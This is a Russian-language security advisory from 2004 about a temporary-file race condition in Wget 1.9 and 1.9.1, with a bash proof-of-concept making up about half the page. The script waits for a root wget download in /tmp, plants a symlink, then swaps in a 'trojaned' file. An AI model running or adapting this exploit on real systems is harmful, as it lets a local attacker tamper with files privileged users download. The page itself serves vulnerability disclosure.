Security Lab

Небезопасное создание временных файлов в Wget

Дата публикации:18.05.2004
Всего просмотров:1396
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Wget 1.9, 1.9.1

Описание: Уязвимость доступа к файлам обнаружена в Wget. Локальный пользователь может заставить целевую систему пользователя Wget приложения создать или перезаписать файлы.

Если wget загружает имя файла, которое уже существует, то приложение запишет в другое имя файла. В результате локальный пользователь может создать символьную ссылку из критического файла на системе к одному из файлов, который предположительно будет использоваться Wget. Затем, когда целевой пользователь попытается загрузить файл, который уже существует и Wget выберет измененное имя файла, ссылающийся файл будет перезаписан с привилегиями текущего пользователя.

Пример/Эксплоит:

#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
  if [ -e .wget ]
  then
    c=0
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  else
  b=`pgrep -u root wget`
  touch $b.wget

  fi

done

URL производителя:http://www.gnu.org/software/wget/wget.html

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Wget race condition vulnerability